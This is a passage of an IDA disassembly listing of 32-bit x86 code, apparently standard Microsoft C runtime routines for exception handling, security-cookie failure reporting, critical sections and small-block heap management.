19930521h jz short loc_4167A0 cmp eax, 19930522h jnz loc_416905 loc_4167A0: ; CODE XREF: sub_4165F6+196j ; sub_4165F6+19Dj mov edi, [ebp+arg_10] cmp dword ptr [edi+0Ch], 0 jbe loc_41686C lea eax, [ebp+var_1C] push eax lea eax, [ebp+var_10] push eax push [ebp+var_8] push [ebp+arg_18] push edi call sub_410A67 add esp, 14h mov edi, eax loc_4167C6: ; CODE XREF: sub_4165F6+26Ej mov eax, [ebp+var_10] cmp eax, [ebp+var_1C] jnb loc_416869 mov eax, [ebp+var_8] cmp [edi], eax jg loc_41685E cmp eax, [edi+4] jg short loc_41685E mov eax, [edi+10h] mov [ebp+var_C], eax mov eax, [edi+0Ch] test eax, eax mov [ebp+var_18], eax jle short loc_41685E loc_4167F2: ; CODE XREF: sub_4165F6+23Cj mov eax, [esi+1Ch] mov eax, [eax+0Ch] lea ebx, [eax+4] mov eax, [eax] test eax, eax mov [ebp+var_14], eax jle short loc_416827 loc_416804: ; CODE XREF: sub_4165F6+22Fj push dword ptr [esi+1Ch] mov eax, [ebx] push eax push [ebp+var_C] mov [ebp+var_20], eax call sub_415DEB add esp, 0Ch test eax, eax jnz short loc_416836 dec [ebp+var_14] add ebx, 4 cmp [ebp+var_14], eax jg short loc_416804 loc_416827: ; CODE XREF: sub_4165F6+20Cj dec [ebp+var_18] add [ebp+var_C], 10h cmp [ebp+var_18], 0 jg short loc_4167F2 jmp short loc_41685E ; --------------------------------------------------------------------------- loc_416836: ; CODE XREF: sub_4165F6+224j push [ebp+arg_1C] mov ebx, [ebp+var_C] push [ebp+arg_18] mov [ebp+var_1], 1 push [ebp+var_20] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push esi mov esi, [ebp+arg_4] call sub_416498 mov esi, [ebp+arg_0] add esp, 1Ch loc_41685E: ; CODE XREF: sub_4165F6+1E1j ; sub_4165F6+1EAj ... inc [ebp+var_10] add edi, 14h jmp loc_4167C6 ; --------------------------------------------------------------------------- loc_416869: ; CODE XREF: sub_4165F6+1D6j mov edi, [ebp+arg_10] loc_41686C: ; CODE XREF: sub_4165F6+1B1j cmp [ebp+arg_14], 0 jz short loc_41687C push 1 push esi call sub_415FB1 pop ecx pop ecx loc_41687C: ; CODE XREF: sub_4165F6+27Aj cmp [ebp+var_1], 0 jnz loc_416934 mov eax, [edi] and eax, 1FFFFFFFh cmp eax, 19930521h jb loc_416934 mov edi, [edi+1Ch] test edi, edi jz loc_416934 push esi call sub_41602A test al, al pop ecx jnz loc_416934 call sub_411FFD call sub_411FFD call sub_411FFD mov [eax+88h], esi call sub_411FFD cmp [ebp+arg_1C], 0 mov ecx, [ebp+arg_8] mov [eax+8Ch], ecx push esi jnz short loc_4168E1 push [ebp+arg_4] jmp short loc_4168E4 ; --------------------------------------------------------------------------- loc_4168E1: ; CODE XREF: sub_4165F6+2E4j push [ebp+arg_1C] loc_4168E4: ; CODE XREF: sub_4165F6+2E9j call sub_41083D mov esi, [ebp+arg_10] push 0FFFFFFFFh push esi push [ebp+arg_C] push [ebp+arg_4] call sub_415E8B add esp, 10h push dword ptr [esi+1Ch] call sub_4160A3 loc_416905: ; CODE XREF: sub_4165F6+181j ; sub_4165F6+18Bj ... mov ebx, [ebp+arg_10] loc_416908: ; CODE XREF: sub_4165F6+41j cmp dword ptr [ebx+0Ch], 0 jbe short loc_416934 cmp [ebp+arg_14], 0 jnz loc_416734 push [ebp+arg_1C] push [ebp+arg_18] push [ebp+var_8] push ebx push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push esi call sub_416504 add esp, 20h loc_416934: ; CODE XREF: sub_4165F6+28Aj ; sub_4165F6+29Cj ... call sub_411FFD cmp dword ptr [eax+94h], 0 jz short loc_416947 call sub_416A94 loc_416947: ; CODE XREF: sub_4165F6+85j ; sub_4165F6+34Aj pop edi pop esi pop ebx leave retn sub_4165F6 endp ; --------------------------------------------------------------------------- push esi push dword ptr [esp+8] mov esi, ecx call sub_40D8D9 mov dword ptr [esi], offset off_41CE04 mov eax, esi pop esi retn 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416964 proc near ; CODE XREF: sub_41088F+21p ; .vty:004108EBp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp push ebx push esi push edi call sub_411FFD cmp dword ptr [eax+20Ch], 0 mov eax, [ebp+arg_10] mov ecx, [ebp+arg_0] mov edi, 0E06D7363h mov esi, 1FFFFFFFh mov ebx, 19930522h jnz short loc_4169AD mov edx, [ecx] cmp edx, edi jz short loc_4169AD cmp edx, 80000026h jz short loc_4169AD mov edx, [eax] and edx, esi cmp edx, ebx jb short loc_4169AD test byte ptr [eax+20h], 1 jnz loc_416A40 loc_4169AD: ; CODE XREF: sub_416964+27j ; sub_416964+2Dj ... test byte ptr [ecx+4], 66h jz short loc_4169D6 cmp dword ptr [eax+4], 0 jz loc_416A40 cmp [ebp+arg_14], 0 jnz short loc_416A40 push 0FFFFFFFFh push eax push [ebp+arg_C] push [ebp+arg_4] call sub_415E8B add esp, 10h jmp short loc_416A40 ; --------------------------------------------------------------------------- loc_4169D6: ; CODE XREF: sub_416964+4Dj cmp dword ptr [eax+0Ch], 0 jnz short loc_4169EE mov edx, [eax] and edx, esi cmp edx, 19930521h jb short loc_416A40 cmp dword ptr [eax+1Ch], 0 jz short loc_416A40 loc_4169EE: ; CODE XREF: sub_416964+76j cmp [ecx], edi jnz short loc_416A24 cmp dword ptr [ecx+10h], 3 jb short loc_416A24 cmp [ecx+14h], ebx jbe short loc_416A24 mov edx, [ecx+1Ch] mov edx, [edx+8] test edx, edx jz short loc_416A24 movzx esi, byte ptr [ebp+arg_1C] push esi push [ebp+arg_18] push [ebp+arg_14] push eax push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push ecx call edx add esp, 20h jmp short loc_416A43 ; --------------------------------------------------------------------------- loc_416A24: ; CODE XREF: sub_416964+8Cj ; sub_416964+92j ... push [ebp+arg_18] push [ebp+arg_14] push [ebp+arg_1C] push eax push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push ecx call sub_4165F6 add esp, 20h loc_416A40: ; CODE XREF: sub_416964+43j ; sub_416964+53j ... xor eax, eax inc eax loc_416A43: ; CODE XREF: sub_416964+BEj pop edi pop esi pop ebx pop ebp retn sub_416964 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416A48 proc near ; CODE XREF: sub_415D0D:loc_415D41p ; sub_415E47+22j ... ms_exc = CPPEH_RECORD ptr -18h ; FUNCTION CHUNK AT 00416A6F SIZE 00000012 BYTES push 8 push offset dword_41FC98 call __SEH_prolog4 call sub_411FFD mov eax, [eax+78h] test eax, eax jz short loc_416A76 and [ebp+ms_exc.disabled], 0 call eax jmp short loc_416A6F sub_416A48 endp ; --------------------------------------------------------------------------- xor eax, eax inc eax retn ; --------------------------------------------------------------------------- mov esp, [ebp-18h] ; START OF FUNCTION CHUNK FOR sub_416A48 loc_416A6F: ; CODE XREF: sub_416A48+1Ej mov [ebp+ms_exc.disabled], 0FFFFFFFEh loc_416A76: ; CODE XREF: sub_416A48+16j call sub_41411B call __SEH_epilog4 retn ; END OF FUNCTION CHUNK FOR sub_416A48 ; =============== S U B R O U T I N E ======================================= sub_416A81 proc near ; CODE XREF: sub_4160A3+23p call sub_411FFD mov eax, [eax+7Ch] test eax, eax jz short loc_416A8F call eax loc_416A8F: ; CODE XREF: sub_416A81+Aj jmp sub_416A48 sub_416A81 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416A94 proc near ; CODE XREF: sub_410A67+1Cp ; sub_410A67:loc_410AC8p ... ms_exc = CPPEH_RECORD ptr -18h push 8 push offset dword_41FCB8 call __SEH_prolog4 push dword_424888 call sub_411DBF pop ecx test eax, eax jz short loc_416AC6 and [ebp+ms_exc.disabled], 0 call eax jmp short loc_416ABF ; --------------------------------------------------------------------------- xor eax, eax inc eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+ms_exc.old_esp] loc_416ABF: ; CODE XREF: sub_416A94+22j mov [ebp+ms_exc.disabled], 0FFFFFFFEh loc_416AC6: ; CODE XREF: sub_416A94+1Aj jmp sub_416A48 sub_416A94 endp ; =============== S U B R O U T I N E ======================================= sub_416ACB proc near ; CODE XREF: sub_412755+33p push offset sub_416A48 call sub_411D53 pop ecx mov dword_424888, eax retn sub_416ACB endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416AE0 proc near ; CODE XREF: sub_410B6F+4Ap ; sub_415E8B+77p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 4 push ebx push ecx mov eax, [ebp+arg_4] add eax, 0Ch mov [ebp+var_4], eax mov eax, [ebp+arg_0] push ebp push [ebp+arg_8] mov ecx, [ebp+arg_8] mov ebp, [ebp+var_4] call sub_41990C push esi push edi call eax pop edi pop esi mov ebx, ebp pop ebp mov ecx, [ebp+arg_8] push ebp mov ebp, ebx cmp ecx, 100h jnz short loc_416B1F mov ecx, 2 loc_416B1F: ; CODE XREF: sub_416AE0+38j push ecx call sub_41990C pop ebp pop ecx pop ebx leave retn 0Ch sub_416AE0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416B2C proc near ; CODE XREF: sub_410BCD:loc_410BD7j var_328 = dword ptr -328h var_324 = dword ptr -324h var_320 = dword ptr -320h arg_0 = byte ptr 8 push ebp mov ebp, esp sub esp, 328h mov dword_424998, eax mov dword_424994, ecx mov dword_424990, edx mov dword_42498C, ebx mov dword_424988, esi mov dword_424984, edi mov word_4249B0, ss mov word_4249A4, cs mov word_424980, ds mov word_42497C, es mov word_424978, fs mov word_424974, gs pushf pop dword_4249A8 mov eax, [ebp+0] mov dword_42499C, eax mov eax, [ebp+4] mov dword_4249A0, eax lea eax, [ebp+arg_0] mov dword_4249AC, eax mov eax, [ebp+var_320] mov dword_4248E8, 10001h mov eax, dword_4249A0 mov dword_42489C, eax mov dword_424890, 0C0000409h mov dword_424894, 1 mov eax, dword_4231C4 mov [ebp+var_328], eax mov eax, dword_4231C8 mov [ebp+var_324], eax call dword_41C114 ; IsDebuggerPresent mov dword_4248E0, eax push 1 call sub_412996 pop ecx push 0 call dword_41C110 ; SetUnhandledExceptionFilter push offset off_41CE1C call dword_41C10C ; UnhandledExceptionFilter cmp dword_4248E0, 0 jnz short loc_416C1C push 1 call sub_412996 pop ecx loc_416C1C: ; CODE XREF: sub_416B2C+E6j push 0C0000409h call dword_41C108 ; GetCurrentProcess push eax call dword_41C104 ; TerminateProcess leave retn sub_416B2C endp ; =============== S U B R O U T I N E ======================================= sub_416C30 proc near ; CODE XREF: sub_41219F+10Cp push esi push edi xor esi, esi mov edi, offset dword_424BB8 loc_416C39: ; CODE XREF: sub_416C30+35j cmp dword_423CC4[esi*8], 1 jnz short loc_416C61 lea eax, ds:423CC0h[esi*8] mov [eax], edi push 0FA0h push dword ptr [eax] add edi, 18h call sub_4182CC test eax, eax pop ecx pop ecx jz short loc_416C6D loc_416C61: ; CODE XREF: sub_416C30+11j inc esi cmp esi, 24h jl short loc_416C39 xor eax, eax inc eax loc_416C6A: ; CODE XREF: sub_416C30+47j pop edi pop esi retn ; --------------------------------------------------------------------------- loc_416C6D: ; CODE XREF: sub_416C30+2Fj and off_423CC0[esi*8], 0 xor eax, eax jmp short loc_416C6A sub_416C30 endp ; =============== S U B R O U T I N E ======================================= sub_416C79 proc near ; CODE XREF: sub_411E89:loc_411EC1j push ebx mov ebx, dword_41C0CC push esi mov esi, offset off_423CC0 push edi loc_416C87: ; CODE XREF: sub_416C79+30j mov edi, [esi] test edi, edi jz short loc_416CA0 cmp dword ptr [esi+4], 1 jz short loc_416CA0 push edi call ebx ; RtlDeleteCriticalSection push edi call sub_41112C and dword ptr [esi], 0 pop ecx loc_416CA0: ; CODE XREF: sub_416C79+12j ; sub_416C79+18j add esi, 8 cmp esi, offset dword_423DE0 jl short loc_416C87 mov esi, offset off_423CC0 pop edi loc_416CB1: ; CODE XREF: sub_416C79+50j mov eax, [esi] test eax, eax jz short loc_416CC0 cmp dword ptr [esi+4], 1 jnz short loc_416CC0 push eax call ebx ; RtlDeleteCriticalSection loc_416CC0: ; CODE XREF: sub_416C79+3Cj ; sub_416C79+42j add esi, 8 cmp esi, offset dword_423DE0 jl short loc_416CB1 pop esi pop ebx retn sub_416C79 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416CCE proc near ; CODE XREF: sub_411060+2p ; sub_411182+2p ... arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] push off_423CC0[eax*8] call dword_41C06C ; RtlLeaveCriticalSection pop ebp retn sub_416CCE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416CE3 proc near ; CODE XREF: sub_413E9F+4Fp ; sub_416DA6+14p ... var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h arg_0 = dword ptr 8 push 0Ch push offset dword_41FCD8 call __SEH_prolog4 xor edi, edi inc edi mov [ebp+var_1C], edi xor ebx, ebx cmp dword_42487C, ebx jnz short loc_416D17 call sub_4143CC push 1Eh call sub_41422C push 0FFh call sub_4124E3 pop ecx pop ecx loc_416D17: ; CODE XREF: sub_416CE3+1Aj mov esi, [ebp+arg_0] lea esi, ds:423CC0h[esi*8] cmp [esi], ebx jz short loc_416D29 mov eax, edi jmp short loc_416D97 ; --------------------------------------------------------------------------- loc_416D29: ; CODE XREF: sub_416CE3+40j push 18h call sub_412323 pop ecx mov edi, eax cmp edi, ebx jnz short loc_416D46 call sub_40F79E mov dword ptr [eax], 0Ch xor eax, eax jmp short loc_416D97 ; --------------------------------------------------------------------------- loc_416D46: ; CODE XREF: sub_416CE3+52j push 0Ah call sub_416DA6 pop ecx mov [ebp+ms_exc.disabled], ebx cmp [esi], ebx jnz short loc_416D81 push 0FA0h push edi call sub_4182CC pop ecx pop ecx test eax, eax jnz short loc_416D7D push edi call sub_41112C pop ecx call sub_40F79E mov dword ptr [eax], 0Ch mov [ebp+var_1C], ebx jmp short loc_416D88 ; --------------------------------------------------------------------------- loc_416D7D: ; CODE XREF: sub_416CE3+81j mov [esi], edi jmp short loc_416D88 ; --------------------------------------------------------------------------- loc_416D81: ; CODE XREF: sub_416CE3+70j push edi call sub_41112C pop ecx loc_416D88: ; CODE XREF: sub_416CE3+98j ; sub_416CE3+9Cj mov [ebp+ms_exc.disabled], 0FFFFFFFEh call sub_416D9D mov eax, [ebp+var_1C] loc_416D97: ; CODE XREF: sub_416CE3+44j ; sub_416CE3+61j call __SEH_epilog4 retn sub_416CE3 endp ; =============== S U B R O U T I N E ======================================= sub_416D9D proc near ; CODE XREF: sub_416CE3+ACp ; DATA XREF: .vty:0041FCF0o push 0Ah call sub_416CCE pop ecx retn sub_416D9D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416DA6 proc near ; CODE XREF: sub_41101A+1Dp ; sub_41112C+1Ep ... arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] push esi lea esi, ds:423CC0h[eax*8] cmp dword ptr [esi], 0 jnz short loc_416DCC push eax call sub_416CE3 test eax, eax pop ecx jnz short loc_416DCC push 11h call sub_412499 pop ecx loc_416DCC: ; CODE XREF: sub_416DA6+11j ; sub_416DA6+1Cj push dword ptr [esi] call dword_41C070 ; RtlEnterCriticalSection pop esi pop ebp retn sub_416DA6 endp ; =============== S U B R O U T I N E ======================================= sub_416DD7 proc near ; CODE XREF: sub_415C1F+37p arg_0 = dword ptr 4 push 140h push 0 push dword_42487C call dword_41C130 ; RtlAllocateHeap test eax, eax mov dword_424EB0, eax jnz short loc_416DF4 retn ; --------------------------------------------------------------------------- loc_416DF4: ; CODE XREF: sub_416DD7+1Aj mov ecx, [esp+arg_0] and dword_424D08, 0 and dword_424EAC, 0 mov dword_424EB8, eax xor eax, eax mov dword_424EB4, ecx mov dword_424EBC, 10h inc eax retn sub_416DD7 endp ; =============== S U B R O U T I N E ======================================= sub_416E1F proc near ; CODE XREF: sub_41112C+29p ; sub_4123F6+4Ep ... arg_0 = dword ptr 4 mov ecx, dword_424EAC mov eax, dword_424EB0 imul ecx, 14h add ecx, eax jmp short loc_416E43 ; --------------------------------------------------------------------------- loc_416E31: ; CODE XREF: sub_416E1F+26j mov edx, [esp+arg_0] sub edx, [eax+0Ch] cmp edx, 100000h jb short locret_416E49 add eax, 14h loc_416E43: ; CODE XREF: sub_416E1F+10j cmp eax, ecx jb short loc_416E31 xor eax, eax locret_416E49: ; CODE XREF: sub_416E1F+1Fj retn sub_416E1F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416E4A proc near ; CODE XREF: sub_41112C+38p ; sub_417E83+B5p ... var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h mov ecx, [ebp+arg_0] mov eax, [ecx+10h] push esi mov esi, [ebp+arg_4] push edi mov edi, esi sub edi, [ecx+0Ch] add esi, 0FFFFFFFCh shr edi, 0Fh mov ecx, edi imul ecx, 204h lea ecx, [ecx+eax+144h] mov [ebp+var_10], ecx mov ecx, [esi] dec ecx test cl, 1 mov [ebp+var_4], ecx jnz loc_41715A push ebx lea ebx, [ecx+esi] mov edx, [ebx] mov [ebp+var_C], edx mov edx, [esi-4] mov [ebp+var_8], edx mov edx, [ebp+var_C] test dl, 1 mov [ebp+arg_4], ebx jnz short loc_416F15 sar edx, 4 dec edx cmp edx, 3Fh jbe short loc_416EAD push 3Fh pop edx loc_416EAD: ; CODE XREF: sub_416E4A+5Ej mov ecx, [ebx+4] cmp ecx, [ebx+8] jnz short loc_416EF7 cmp edx, 20h mov ebx, 80000000h jnb short loc_416ED8 mov ecx, edx shr ebx, cl lea ecx, [edx+eax+4] not ebx and [eax+edi*4+44h], ebx dec byte ptr [ecx] jnz short loc_416EF4 mov ecx, [ebp+arg_0] and [ecx], ebx jmp short loc_416EF4 ; --------------------------------------------------------------------------- loc_416ED8: ; CODE XREF: sub_416E4A+73j lea ecx, [edx-20h] shr ebx, cl lea ecx, [edx+eax+4] not ebx and [eax+edi*4+0C4h], ebx dec byte ptr [ecx] jnz short loc_416EF4 mov ecx, [ebp+arg_0] and [ecx+4], ebx loc_416EF4: ; CODE XREF: sub_416E4A+85j ; sub_416E4A+8Cj ... mov ebx, [ebp+arg_4] loc_416EF7: ; CODE XREF: sub_416E4A+69j mov edx, [ebx+8] mov ebx, [ebx+4] mov ecx, [ebp+var_4] add ecx, [ebp+var_C] mov [edx+4], ebx mov edx, [ebp+arg_4] mov ebx, [edx+4] mov edx, [edx+8] mov [ebx+8], edx mov [ebp+var_4], ecx loc_416F15: ; CODE XREF: sub_416E4A+55j mov edx, ecx sar edx, 4 dec edx cmp edx, 3Fh jbe short loc_416F23 push 3Fh pop edx loc_416F23: ; CODE XREF: sub_416E4A+D4j mov ebx, [ebp+var_8] and ebx, 1 mov [ebp+var_C], ebx jnz loc_416FC1 sub esi, [ebp+var_8] mov ebx, [ebp+var_8] sar ebx, 4 push 3Fh mov [ebp+arg_4], esi dec ebx pop esi cmp ebx, esi jbe short loc_416F48 mov ebx, esi loc_416F48: ; CODE XREF: sub_416E4A+FAj add ecx, [ebp+var_8] mov edx, ecx sar edx, 4 dec edx cmp edx, esi mov [ebp+var_4], ecx jbe short loc_416F5A mov edx, esi loc_416F5A: ; CODE XREF: sub_416E4A+10Cj cmp ebx, edx jz short loc_416FBC mov ecx, [ebp+arg_4] mov esi, [ecx+4] cmp esi, [ecx+8] jnz short loc_416FA4 cmp ebx, 20h mov esi, 80000000h jnb short loc_416F8A mov ecx, ebx shr esi, cl not esi and [eax+edi*4+44h], esi dec byte ptr [ebx+eax+4] jnz short loc_416FA4 mov ecx, [ebp+arg_0] and [ecx], esi jmp short loc_416FA4 ; --------------------------------------------------------------------------- loc_416F8A: ; CODE XREF: sub_416E4A+127j lea ecx, [ebx-20h] shr esi, cl not esi and [eax+edi*4+0C4h], esi dec byte ptr [ebx+eax+4] jnz short loc_416FA4 mov ecx, [ebp+arg_0] and [ecx+4], esi loc_416FA4: ; CODE XREF: sub_416E4A+11Dj ; sub_416E4A+137j ... mov ecx, [ebp+arg_4] mov esi, [ecx+8] mov ecx, [ecx+4] mov [esi+4], ecx mov ecx, [ebp+arg_4] mov esi, [ecx+4] mov ecx, [ecx+8] mov [esi+8], ecx loc_416FBC: ; CODE XREF: sub_416E4A+112j mov esi, [ebp+arg_4] jmp short loc_416FC4 ; --------------------------------------------------------------------------- loc_416FC1: ; CODE XREF: sub_416E4A+E2j mov ebx, [ebp+arg_0] loc_416FC4: ; CODE XREF: sub_416E4A+175j cmp [ebp+var_C], 0 jnz short loc_416FD2 cmp ebx, edx jz loc_417052 loc_416FD2: ; CODE XREF: sub_416E4A+17Ej mov ecx, [ebp+var_10] lea ecx, [ecx+edx*8] mov ebx, [ecx+4] mov [esi+8], ecx mov [esi+4], ebx mov [ecx+4], esi mov ecx, [esi+4] mov [ecx+8], esi mov ecx, [esi+4] cmp ecx, [esi+8] jnz short loc_417052 mov cl, [edx+eax+4] mov byte ptr [ebp+arg_4+3], cl inc cl cmp edx, 20h mov [edx+eax+4], cl jnb short loc_417029 cmp byte ptr [ebp+arg_4+3], 0 jnz short loc_417018 mov ecx, edx mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+arg_0] or [ecx], ebx loc_417018: ; CODE XREF: sub_416E4A+1BEj mov ebx, 80000000h mov ecx, edx shr ebx, cl lea eax, [eax+edi*4+44h] or [eax], ebx jmp short loc_417052 ; --------------------------------------------------------------------------- loc_417029: ; CODE XREF: sub_416E4A+1B8j cmp byte ptr [ebp+arg_4+3], 0 jnz short loc_41703F lea ecx, [edx-20h] mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+arg_0] or [ecx+4], ebx loc_41703F: ; CODE XREF: sub_416E4A+1E3j lea ecx, [edx-20h] mov edx, 80000000h shr edx, cl lea eax, [eax+edi*4+0C4h] or [eax], edx loc_417052: ; CODE XREF: sub_416E4A+182j ; sub_416E4A+1A6j ... mov eax, [ebp+var_4] mov [esi], eax mov [eax+esi-4], eax mov eax, [ebp+var_10] dec dword ptr [eax] jnz loc_417159 mov eax, dword_424D08 test eax, eax jz loc_41714B mov ecx, dword_424EC0 mov esi, dword_41C0F0 push 4000h shl ecx, 0Fh add ecx, [eax+0Ch] mov ebx, 8000h push ebx push ecx call esi ; VirtualFree mov ecx, dword_424EC0 mov eax, dword_424D08 mov edx, 80000000h shr edx, cl or [eax+8], edx mov eax, dword_424D08 mov eax, [eax+10h] mov ecx, dword_424EC0 and dword ptr [eax+ecx*4+0C4h], 0 mov eax, dword_424D08 mov eax, [eax+10h] dec byte ptr [eax+43h] mov eax, dword_424D08 mov ecx, [eax+10h] cmp byte ptr [ecx+43h], 0 jnz short loc_4170E0 and dword ptr [eax+4], 0FFFFFFFEh mov eax, dword_424D08 loc_4170E0: ; CODE XREF: sub_416E4A+28Bj cmp dword ptr [eax+8], 0FFFFFFFFh jnz short loc_41714B push ebx push 0 push dword ptr [eax+0Ch] call esi ; VirtualFree mov eax, dword_424D08 push dword ptr [eax+10h] push 0 push dword_42487C call dword_41C12C ; RtlFreeHeap mov ecx, dword_424EAC mov eax, dword_424D08 imul ecx, 14h mov edx, dword_424EB0 sub ecx, eax lea ecx, [ecx+edx-14h] push ecx lea ecx, [eax+14h] push ecx push eax call sub_410C50 mov eax, [ebp+arg_0] add esp, 0Ch dec dword_424EAC cmp eax, dword_424D08 jbe short loc_417141 sub [ebp+arg_0], 14h loc_417141: ; CODE XREF: sub_416E4A+2F1j mov eax, dword_424EB0 mov dword_424EB8, eax loc_41714B: ; CODE XREF: sub_416E4A+223j ; sub_416E4A+29Aj mov eax, [ebp+arg_0] mov dword_424D08, eax mov dword_424EC0, edi loc_417159: ; CODE XREF: sub_416E4A+216j pop ebx loc_41715A: ; CODE XREF: sub_416E4A+37j pop edi pop esi leave retn sub_416E4A endp ; =============== S U B R O U T I N E ======================================= sub_41715E proc near ; CODE XREF: sub_4175F3+C0p mov eax, dword_424EBC push esi mov esi, dword_424EAC push edi xor edi, edi cmp esi, eax jnz short loc_4171A5 add eax, 10h imul eax, 14h push eax push dword_424EB0 push edi push dword_42487C call dword_41C04C ; RtlReAllocateHeap cmp eax, edi jnz short loc_417193 loc_41718F: ; CODE XREF: sub_41715E+68j ; sub_41715E+94j xor eax, eax jmp short loc_41720B ; --------------------------------------------------------------------------- loc_417193: ; CODE XREF: sub_41715E+2Fj add dword_424EBC, 10h mov esi, dword_424EAC mov dword_424EB0, eax loc_4171A5: ; CODE XREF: sub_41715E+11j imul esi, 14h add esi, dword_424EB0 push 41C4h push 8 push dword_42487C call dword_41C130 ; RtlAllocateHeap cmp eax, edi mov [esi+10h], eax jz short loc_41718F push 4 push 2000h push 100000h push edi call dword_41C050 ; VirtualAlloc cmp eax, edi mov [esi+0Ch], eax jnz short loc_4171F4 push dword ptr [esi+10h] push edi push dword_42487C call dword_41C12C ; RtlFreeHeap jmp short loc_41718F ; --------------------------------------------------------------------------- loc_4171F4: ; CODE XREF: sub_41715E+82j or dword ptr [esi+8], 0FFFFFFFFh mov [esi], edi mov [esi+4], edi inc dword_424EAC mov eax, [esi+10h] or dword ptr [eax], 0FFFFFFFFh mov eax, esi loc_41720B: ; CODE XREF: sub_41715E+33j pop edi pop esi retn sub_41715E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41720E proc near ; CODE XREF: sub_4175F3+D6p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx mov ecx, [ebp+arg_0] mov eax, [ecx+8] push ebx push esi mov esi, [ecx+10h] push edi xor ebx, ebx jmp short loc_417226 ; --------------------------------------------------------------------------- loc_417223: ; CODE XREF: sub_41720E+1Aj add eax, eax inc ebx loc_417226: ; CODE XREF: sub_41720E+13j test eax, eax jge short loc_417223 mov eax, ebx imul eax, 204h lea eax, [eax+esi+144h] push 3Fh mov [ebp+var_8], eax pop edx loc_41723F: ; CODE XREF: sub_41720E+3Bj mov [eax+8], eax mov [eax+4], eax add eax, 8 dec edx jnz short loc_41723F push 4 mov edi, ebx push 1000h shl edi, 0Fh add edi, [ecx+0Ch] push 8000h push edi call dword_41C050 ; VirtualAlloc test eax, eax jnz short loc_417272 or eax, 0FFFFFFFFh jmp loc_41730F ; --------------------------------------------------------------------------- loc_417272: ; CODE XREF: sub_41720E+5Aj lea edx, [edi+7000h] cmp edi, edx mov [ebp+var_4], edx ja short loc_4172C2 mov ecx, edx sub ecx, edi shr ecx, 0Ch lea eax, [edi+10h] inc ecx loc_41728A: ; CODE XREF: sub_41720E+AFj or dword ptr [eax-8], 0FFFFFFFFh or dword ptr [eax+0FECh], 0FFFFFFFFh lea edx, [eax+0FFCh] mov [eax], edx lea edx, [eax-1004h] mov dword ptr [eax-4], 0FF0h mov [eax+4], edx mov dword ptr [eax+0FE8h], 0FF0h add eax, 1000h dec ecx jnz short loc_41728A mov edx, [ebp+var_4] loc_4172C2: ; CODE XREF: sub_41720E+6Fj mov eax, [ebp+var_8] add eax, 1F8h lea ecx, [edi+0Ch] mov [eax+4], ecx mov [ecx+8], eax lea ecx, [edx+0Ch] mov [eax+8], ecx mov [ecx+4], eax and dword ptr [esi+ebx*4+44h], 0 xor edi, edi inc edi mov [esi+ebx*4+0C4h], edi mov al, [esi+43h] mov cl, al inc cl test al, al mov eax, [ebp+arg_0] mov [esi+43h], cl jnz short loc_4172FF or [eax+4], edi loc_4172FF: ; CODE XREF: sub_41720E+ECj mov edx, 80000000h mov ecx, ebx shr edx, cl not edx and [eax+8], edx mov eax, ebx loc_41730F: ; CODE XREF: sub_41720E+5Fj pop edi pop esi pop ebx leave retn sub_41720E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417314 proc near ; CODE XREF: sub_417E83+77p var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch mov ecx, [ebp+arg_0] mov eax, [ecx+10h] push ebx push esi mov esi, [ebp+arg_8] push edi mov edi, [ebp+arg_4] mov edx, edi sub edx, [ecx+0Ch] add esi, 17h shr edx, 0Fh mov ecx, edx imul ecx, 204h lea ecx, [ecx+eax+144h] mov [ebp+var_C], ecx mov ecx, [edi-4] and esi, 0FFFFFFF0h dec ecx cmp esi, ecx lea edi, [ecx+edi-4] mov ebx, [edi] mov [ebp+arg_8], ecx mov [ebp+var_4], ebx jle loc_4174B6 test bl, 1 jnz loc_4174AF add ebx, ecx cmp esi, ebx jg loc_4174AF mov ecx, [ebp+var_4] sar ecx, 4 dec ecx cmp ecx, 3Fh mov [ebp+var_8], ecx jbe short loc_417389 push 3Fh pop ecx mov [ebp+var_8], ecx loc_417389: ; CODE XREF: sub_417314+6Dj mov ebx, [edi+4] cmp ebx, [edi+8] jnz short loc_4173D4 cmp ecx, 20h mov ebx, 80000000h jnb short loc_4173B5 shr ebx, cl mov ecx, [ebp+var_8] lea ecx, [ecx+eax+4] not ebx and [eax+edx*4+44h], ebx dec byte ptr 